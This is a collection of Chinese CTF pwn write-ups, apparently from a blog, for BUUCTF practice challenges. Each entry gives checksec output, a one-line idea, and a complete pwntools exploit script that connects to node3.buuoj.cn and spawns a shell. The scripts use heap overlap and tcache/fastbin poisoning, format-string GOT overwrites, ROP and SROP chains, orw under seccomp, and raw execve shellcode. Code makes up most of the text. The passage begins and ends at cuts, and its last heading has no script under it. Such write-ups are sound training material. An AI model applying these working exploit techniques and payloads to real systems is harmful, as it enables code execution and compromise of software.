heap_addr=int(sh.recv(12),16)
print "chunk_addr : "+hex(heap_addr)
heap_base=heap_addr-0x011e70
sh.success('heap_base : ' +hex(heap_base))
add(1,0x10,'a'*8)

free(1)
free(1)
add(2,0x10,p64(heap_addr-0x8))
add(3,0x10,p64(heap_addr-0x8))
add(4,0x10,p64(0x421))
for i in range(7):
add(5+i,0x70,'a')
add(12,0x50,'b')
add(13,0x70,'c')

free(0)
free(5)
free(5)
add(14,0x70,p64(heap_addr-0x8))
add(15,0x70,p64(heap_addr-0x8))
add(16,0x70,'\x41\x00')#edit chunk_size

add(17,0x40,'1111')#leak libc
free(17)
free(17)
add(18,0x40,p64(heap_addr))
add(19,0x40,p64(heap_addr))
add(20,0x40,'\x00')
add(21,0x40,'\x00')
sh.recvuntil("gift :0x")
main_arena=int(sh.recv(12),16)-144
sh.success('main_arena : ' +hex(main_arena))

libc_base=main_arena-0x3ebc40
free_hook=libc_base+libc.symbols['__free_hook']
system_addr=libc_base+libc.symbols['system']

free(12)
free(12)
add(22,0x50,p64(free_hook))
add(23,0x50,'/bin/sh\x00')
add(24,0x50,p64(system_addr))
free(23)

#gdb.attach(sh)

sh.interactive()

others_babystack

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

泄露canary,然后再泄露libc,然后getshell。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./babystack')
sh=remote('node3.buuoj.cn',26825)
elf=ELF('./babystack')
context.log_level='debug'
pop_rdi_ret=0x0000000000400a93
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main_addr=0x0000000000400908
def read(content):
sh.recvuntil('>> ')
sh.sendline('1')
sleep(1)
sh.send(content)

def show():
sh.recvuntil('>> ')
sh.sendline('2')
def quit():
sh.recvuntil('>> ')
sh.sendline('3')

payload='a'*0x87+'b'+'a'
read(payload)
show()
sh.recvuntil('b')
canary=u64(sh.recv(8))-0x61
sh.success('canary : ' +hex(canary))

payload='a'*0x88+p64(canary)+'a'*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
read(payload)
quit()

puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
sh.success('puts_addr : ' +hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

payload='a'*0x88+p64(canary)+p64(0)+p64(pop_rdi_ret)+p64(bin_addr)+p64(system_addr)
read(payload)
quit()
#gdb.attach(sh)

sh.interactive()

axb_2019_fmt32

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

格式化字符串,首先泄露libc,然后通过一次写入2个字节的方式再strlen_got中写入system

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#! /usr/bin/env python

from pwn import *
from LibcSearcher import *

#sh=process('./axb_2019_fmt32')
sh=remote('node3.buuoj.cn',27810)
elf=ELF('./axb_2019_fmt32')
context.log_level='debug'

printf_got=elf.got['printf']
strlen_got=elf.got['strlen']

sh.recvuntil('Please tell me:')
payload='a'+p32(printf_got)+'b'+'%8$s'
sh.sendline(payload)

sh.recvuntil('b')
printf_addr=u32(sh.recv(4))
sh.success('printf_addr : ' +hex(printf_addr))
libc=LibcSearcher('printf',printf_addr)
libc_base=printf_addr-libc.dump('printf')
system_addr=libc_base+libc.dump('system')

high_sys=(system_addr >>16) & 0xffff
low_sys=(system_addr) & 0xffff
sh.success('high : ' +hex(high_sys))
sh.success('low : ' +hex(low_sys))
sh.success('system_addr : ' +hex(system_addr))


payload='a'+p32(strlen_got)+p32(strlen_got+2)+'%'+str(low_sys-18)+'c%8$hn'+'%'+str(high_sys-low_sys)+'c%9$hn'

sh.recvuntil('Please tell me:')
sh.sendline(payload)

#sh.recvcuntil('Please tell me:')
sleep(0.5)
payload=';/bin/sh\x00'
sh.sendline(payload)
#gdb.attach(sh)

sh.interactive()

inndy_rop

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

静态编译的题,ROPgadget --binary rop --ropchain生成ROP链。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#! /usr/bin/env python

from pwn import *
from struct import pack

#sh=process('./rop')
sh=remote('node3.buuoj.cn',27180)

p ='a'*0xc+'a'*4
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

sh.sendline(p)
sh.interactive()

pwnable_start

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)

利用:

shellcode利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#! /usr/bin/env python

from pwn import *

sh=remote('node3.buuoj.cn',25938)
#sh=process('./start')
#context.log_level='debug'

payload='a'*20+p32(0x08048087)

#gdb.attach(sh)
sh.send(payload)

sh.recvuntil(':')
stack_addr=u32(sh.recv(4))
sh.success('stack_addr : ' +hex(stack_addr))

shellcode=shellcode='''
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
xor edx,edx
mov al,0xb
int 0x80
'''
shellcode=asm(shellcode)
print disasm(shellcode)

payload='a'*20
payload+=p32(stack_addr+20)
payload+=shellcode


sh.sendline(payload)

sh.interactive()

hitcontraining_magicheap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

edit函数存在漏洞,可以造成堆溢出,将堆申请到bss段,修改magic

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#! /usr/bin/env python

from pwn import *

#sh=process('./magicheap')
sh=remote('node3.buuoj.cn',29688)
elf=ELF('./magicheap')
context.log_level='debug'

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def edit(index,size,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.send(content)

def free(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))

add(0x10,'a'*8) #0
add(0x60,'a'*8) #1
add(0x60,'a'*8) #2
add(0x10,'a'*8) #3
free(2)
free(1)

fake_chunk=0x602095-0x8
edit(0,0x28,'a'*0x10+p64(0)+p64(0x71)+p64(fake_chunk))
add(0x60,'a'*8) #1
add(0x60,'a'*3+p64(0x1306)) #2

sh.recvuntil(':')
sh.sendline('4869')
#gdb.attach(sh)
sh.interactive()

[V&N2020 公开赛]babybabypwn

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

seccomp检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000009 if (A == mmap) goto 0015
0006: 0x15 0x08 0x00 0x0000000a if (A == mprotect) goto 0015
0007: 0x15 0x07 0x00 0x00000029 if (A == socket) goto 0015
0008: 0x15 0x06 0x00 0x0000002a if (A == connect) goto 0015
0009: 0x15 0x05 0x00 0x00000031 if (A == bind) goto 0015
0010: 0x15 0x04 0x00 0x00000032 if (A == listen) goto 0015
0011: 0x15 0x03 0x00 0x00000038 if (A == clone) goto 0015
0012: 0x15 0x02 0x00 0x00000039 if (A == fork) goto 0015
0013: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL

利用:

禁用了execve,只能利用orw了,程序给了一个sigreturn,构造一次SROP(read)到bss段上,然后构造orw来进行flag的读取和输出。

学习了一波SROP和orw,最近遇到这样的题比较多。总结一波。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#! /usr/bin/env python

from pwn import *

#sh=process('./vn_pwn_babybabypwn_1')
sh=remote('node3.buuoj.cn',25420)

libc=ELF('./libc-2.23.so')
context(log_level='debug',arch='amd64',os='linux')

sh.recvuntil('Here is my gift: ')
puts_addr=int(sh.recv(14),16)
sh.success('puts_addr : ' +hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
sh.success('libc_base : ' +hex(libc_base))

rdi_ret=libc_base+0x0000000000021102
rsi_ret=libc_base+0x00000000000202e8
rdx_ret=libc_base+0x0000000000001b92
bss=libc_base+libc.bss()

open_addr=libc_base+libc.symbols['open']
write_addr=libc_base+libc.symbols['write']
read_addr=libc_base+libc.symbols['read']
syscall=libc_base+0x00000000000bc375

frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=bss
frame.rdx=0x200
frame.rsp=bss
frame.rip=syscall
payload=str(frame)[0x8:] #这里[8:]是因为程序已经给我们构造好了sigreturn,我们不需要再构造了,需要跳过。

sh.recvuntil('message: ')
sh.send(payload)

#read(0,bss,0x200)
payload=p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(read_addr)
#open('/flag',0)
payload+=p64(rdi_ret)+p64(bss)+p64(rsi_ret)+p64(0)+p64(open_addr)
#read(3,bss,0x200)
payload+=p64(rdi_ret)+p64(0x3)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(read_addr)
#write(1,bss,0x200)
payload+=p64(rdi_ret)+p64(1)+p64(rsi_ret)+p64(bss)+p64(rdx_ret)+p64(0x200)+p64(write_addr)

sh.send(payload)
sleep(1)
sh.sendline('flag\x00')

sh.interactive()

ciscn_2019_s_4

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

首先泄露栈地址,然后栈迁移到栈上执行system。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#! /usr/bin/env python

from pwn import *

#sh=process('./ciscn_s_4')
sh=remote('node3.buuoj.cn',27738)
elf=ELF('./ciscn_s_4')
context.log_level='debug'

system_plt=elf.plt['system']

sh.recvuntil('?\n')

payload='a'*0x24+'bbbb'
sh.send(payload)

sh.recvuntil('bbbb')
ebp_addr=u32(sh.recv(4))
sh.success('ebp_addr : ' +hex(ebp_addr))
stack_addr=ebp_addr-56

payload=p32(system_plt)+'a'*4+p32(stack_addr+0xc)+'/bin/sh\x00'+'a'*0x14+p32(stack_addr-4)+p32(0x080484b8)
sh.sendline(payload)

#gdb.attach(sh)

sh.interactive()

hitcontraining_heapcreator

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

off by one 漏洞,构造堆重叠泄露libc,然后再将chunk伪造到malloc_hook处getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#! /usr/bin/env python

from pwn import *

#sh=process('./heapcreator')
sh=remote('node3.buuoj.cn',25110)
elf=ELF('./heapcreator')
libc=ELF('./x64-libc-2.23.so')
context.log_level='debug'

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def edit(index,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.send(content)

def show(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))

def free(index):
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))

add(0x10,'aaaa') #0 free
add(0x10,'bbbb') #1 free
free(0)
free(1)
add(0x18,'AAAA') #0
add(0x60,'bbbb') #1 free
add(0x60,'cccc') #2 use and free
add(0x10,'eeee') #3 free
edit(0,'A'*0x10+p64(0)+'\xe1')
free(1)
add(0x60,'AAAA') #1
show(2)
sh.recvuntil('Content : ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))

libc_base=main_arena-0x3c4b20
malloc_hook=libc_base+libc.symbols['__malloc_hook']
one_gadget=libc_base+0x4526a
sh.success('libc_base : ' +hex(libc_base))
sh.success('malloc_hook : ' +hex(malloc_hook))
sh.success('one_gadget : ' +hex(one_gadget))

free(3)
add(0x60,'BBBB') #3 ==>2
free(1)
free(3)
edit(2,p64(malloc_hook-0x23))
add(0x60,'aaaa') #1
add(0x60,'aaa'+p64(0)*2+p64(one_gadget)) #3
sh.recvuntil(':')
sh.sendline('1')

#gdb.attach(sh)

sh.interactive()

wustctf2020_getshell_2

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

没啥好说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#! /usr/bin/env python

from pwn import *

#sh=process('./wustctf2020_getshell_2')
sh=remote('node3.buuoj.cn',27534)
sh_addr=0x08048670
system_addr=0x08048529

payload='a'*0x18+'a'*4+p32(system_addr)+p32(sh_addr)
sh.sendline(payload)

sh.interactive()

ciscn_2019_es_7

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

SROP利用

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#! /usr/bin/env python

from pwn import *

#sh=process('./ciscn_2019_es_7')
sh=remote('node3.buuoj.cn',27519)
context.log_level='debug'
context.arch='amd64'


syscall_ret=0x400517
read=0x4004f1
movrax_sigreturn=0x4004da
movrax_system=0x4004E2

payload='/bin/sh\x00'+'\x00'*8+p64(read)
sh.send(payload)

sh.recv(32)
stack_addr=u64(sh.recv(8))
log.success('stack_addr : ' +hex(stack_addr))

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = stack_addr - 280 # "/bin/sh" 's addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rsp = stack_addr
frame.rip = syscall_ret
#gdb.attach(sh)

payload='/bin/sh'+'\x00'*9+p64(movrax_sigreturn)+p64(syscall_ret)+str(frame)
#sleep(1)
sh.send(payload)

#gdb.attach(sh,'b * 0x0000000000400519')
sh.interactive()

mrctf2020_shellcode

checksec检查:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

利用:

IDA打开发现F5不了,看汇编发现程序read后会直接call 你输入的地方,直接写shellcode就可以

exp如下:

1
2
3
4
5
6
7
8
9
10
11
#! /usr/bin/env python

from pwn import *
#sh=process('./mrctf2020_shellcode')
sh=remote('node3.buuoj.cn',27190)

shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

#sh.recvuntil('how me your magic!\n')
sh.send(shellcode)
sh.interactive()

0ctf_2017_babyheap

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

edit存在漏洞,造成任意堆溢出,首先泄露libc,然后在malloc_hook处写入one_gadget

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#! /usr/bin/env python

from pwn import *

#sh=process('./0ctf_2017_babyheap')
sh=remote('node3.buuoj.cn',26089)
elf=ELF('./0ctf_2017_babyheap')
libc=ELF('./x64-libc-2.23.so')
context.log_level='debug'

def add(size):
sh.recvuntil(': ')
sh.sendline('1')
sh.recvuntil(': ')
sh.sendline(str(size))

def edit(index,size,content):
sh.recvuntil(': ')
sh.sendline('2')
sh.recvuntil(': ')
sh.sendline(str(index))
sh.recvuntil(': ')
sh.sendline(str(size))
sh.recvuntil(': ')
sh.send(content)

def show(index):
sh.recvuntil(': ')
sh.sendline('4')
sh.recvuntil(': ')
sh.sendline(str(index))

def free(index):
sh.recvuntil(': ')
sh.sendline('3')
sh.recvuntil(': ')
sh.sendline(str(index))

add(0x10) #0
add(0x60) #1
add(0x60) #2
add(0x10) #3
edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1))
free(1)
add(0x60) #1
show(2)
sh.recvuntil('Content: \n')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
malloc_hook=libc_base+libc.symbols['__malloc_hook']
one_gadget=libc_base+0x4526a
sh.success('libc_base : ' +hex(libc_base))
sh.success('malloc_hook : ' +hex(malloc_hook))
sh.success('one_gadget : ' +hex(one_gadget))

add(0x60) #4==>2
free(4)
edit(2,0x8,p64(malloc_hook-0x23))
add(0x60) #4
add(0x60) #5
edit(5,0x1b,'a'*3+p64(0)*2+p64(one_gadget))
add(0x10) #6

#gdb.attach(sh)
sh.interactive()

hitcontraining_bamboobox

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

简单堆题,又被骗了,远程没有那个文件夹。我太单纯了。这里我本地测试了一下,本地exp是可以的。

exp如下:

本地
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#! /usr/bin/env python

from pwn import *

#sh=process('./bamboobox')
sh=remote('node3.buuoj.cn',29439)
elf=ELF('./bamboobox')
libc=ELF('./libc.so.6')
context.log_level='debug'

def add(size,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)


def edit(index,size,content):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def show():
sh.recvuntil(':')
sh.sendline('1')

def free(index):
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))

add(0x10,'aaa') #0
add(0x60,'bbb') #1
add(0x10,'ccc') #2
add(0x40,'ddd') #3
add(0x10,'eee') #4
edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1))
free(1)
add(0x60,'aaaa') #1
add(0x10,'aaaa') #5==>2
add(0x40,'aaaa') #6
add(0x10,'aaaa') #7
free(7)
free(5)
show()
sh.recvuntil('2 : ')
heap_addr=u32(sh.recv(4))
sh.success('heap_addr : ' +hex(heap_addr))
heap_base=heap_addr-0x140
sh.success('heap_base : ' +hex(heap_base))

magic=0x0000000000400D49
edit(2,0x8,p64(heap_base))
add(0x10,'aaaa') #8
add(0x10,p64(0)+p64(magic)) #9

sh.recvuntil(':')
sh.sendline('5')

#gdb.attach(sh)

sh.interactive()
远程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#! /usr/bin/env python

from pwn import *

#sh=process('./bamboobox')
sh=remote('node3.buuoj.cn',29439)
elf=ELF('./bamboobox')
libc=ELF('./x64-libc-2.23.so')
#context.log_level='debug'

def add(size,content):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)


def edit(index,size,content):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def show():
sh.recvuntil(':')
sh.sendline('1')

def free(index):
sh.recvuntil(':')
sh.sendline('4')
sh.recvuntil(':')
sh.sendline(str(index))


add(0x10,'aaaa') #0
add(0x60,'aaaa') #1
add(0x60,'aaaa') #2
add(0x10,'aaaa') #3
edit(0,0x20,'a'*0x10+p64(0)+p64(0xe1))
free(1)
add(0x60,'aaaa') #1
show()
sh.recvuntil('2 : ')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-88
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3c4b20
malloc_hook=libc_base+libc.symbols['__malloc_hook']
one_gadget=libc_base+0x4526a
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))
sh.success('libc_base : ' +hex(libc_base))
sh.success('malloc_hook : ' +hex(malloc_hook))
sh.success('one_gadget : ' +hex(one_gadget))

add(0x60,'aaaa') #4==>2
free(4)
edit(2,0x8,p64(malloc_hook-0x23))
add(0x60,'aaaa') #4
add(0x60,'a'*3+p64(0)+p64(one_gadget)+p64(realloc)) #5
#gdb.attach(sh)

sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(0x10))

#gdb.attach(sh)

sh.interactive()

ciscn_2019_es_1

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

首先申请一个0x410大小的chunk,然后free掉泄露libc,之后利用tcache的机制连续free俩次chunk,将chunk申请到malloc_hook处,程序需要进行抬栈操作。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#! /usr/bin/env python

from pwn import *

#sh=process('./ciscn_2019_es_1')
sh=remote('node3.buuoj.cn',27779)
elf=ELF('./ciscn_2019_es_1')
context.log_level='debug'
libc=ELF('./18-64-libc-2.27.so')

def add(size,name,call='aaaa'):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil("Please input the size of compary's name\n")
sh.sendline(str(size))
sh.recvuntil('please input name:\n')
sh.send(name)
sh.recvuntil('please input compary call:\n')
sh.send(call)

def show(index):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(index))

def free(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil('Please input the index:\n')
sh.sendline(str(index))

add(0x410,'aaaa') #0
add(0x10,'bbbb') #1
free(0)
show(0)
sh.recvuntil('name:\n')
main_arena=u64(sh.recv(6).ljust(8,'\x00'))-96
sh.success('main_arena : ' +hex(main_arena))
libc_base=main_arena-0x3ebc40
sh.success('libc_base : ' +hex(libc_base))
malloc_hook=libc_base+libc.symbols['__malloc_hook']
sh.success('malloc_hook : ' +hex(malloc_hook))
one_gadget=libc_base+0x10a38c
sh.success('one_gadget : ' +hex(one_gadget))
realloc=libc_base+libc.symbols['realloc']
sh.success('realloc : ' +hex(realloc))

add(0x60,'aaaa') #2
add(0x60,'bbbb') #3
free(2)
free(2)
add(0x60,p64(malloc_hook-0x23)) #4
add(0x60,'aaaa') #5
add(0x60,'a'*3+p64(0)*3+p64(one_gadget)+p64(realloc+0xe)) #6
sh.recvuntil(':')
sh.sendline('1')

#gdb.attach(sh)
sh.interactive()

pwnable_hacknote

checksec检查:

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

利用:

uaf利用,因为偏移有问题困扰了我好长时间,本来是简单题,结果。。。还是我太菜了啊。

利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#! /usr/bin/env python

from pwn import *

#sh=process('./hacknote')
sh=remote('node3.buuoj.cn',29258)
elf=ELF('./hacknote')
context.log_level='debug'
libc=ELF('./16-32-libc-2.23.so')
puts_addr=0x0804862B
puts_got=elf.got['puts']

def add(size,content):
sh.recvuntil(':')
sh.sendline('1')
sh.recvuntil(':')
sh.sendline(str(size))
sh.recvuntil(':')
sh.send(content)

def free(index):
sh.recvuntil(':')
sh.sendline('2')
sh.recvuntil(':')
sh.sendline(str(index))

def show(index):
sh.recvuntil(':')
sh.sendline('3')
sh.recvuntil(':')
sh.sendline(str(index))

add(0x68,'a'*4) #0
add(0x10,'a'*4) #1
add(0x10,'a'*4) #2
free(0)
add(0x68,'a'*4) #3
show(0)
sh.recvuntil('aaaa')
main_arena=u32(sh.recv(4))-48
sh.success('main_arena : ' +hex(main_arena))
#libc_base=main_arena-0x1b3780
libc_base=main_arena-0x1B0780
sh.success('libc_base : ' +hex(libc_base))
system_addr = libc.symbols['system']+libc_base
sh.success('system_addr : ' +hex(system_addr))

free(0)
free(1)
add(0x8,p32(system_addr)+';sh\x00')
show(3)
#gdb.attach(sh)
sh.interactive()

wustctf2020_closed

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

用命令exec 1>&0stdout重定向到stdin就返回shell了。关于重定向可以看一下这个链接。

http://xstarcd.github.io/wiki/shell/exec_redirect.html

exp如下:

1
2
3
4
5
6
#! /usr/bin/env python

from pwn import *
sh = remote("node3.buuoj.cn",26824)
sh.sendline("exec 1>&0")
sh.interactive()

mrctf2020_easyoverflow

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

利用:

没啥说的

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
#! /usr/bin/env python

from pwn import *

#sh=process('./mrctf2020_easyoverflow')
sh=remote('node3.buuoj.cn',29563)
context.log_level='debug'
payload='a'*0x30+'n0t_r3@11y_f1@g'

sh.sendline(payload)

sh.interactive()

hitcon2014_stkof

checksec检查:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

利用:

unlink攻击,首先通过unlink泄露libc,然后getshell

exp如下:

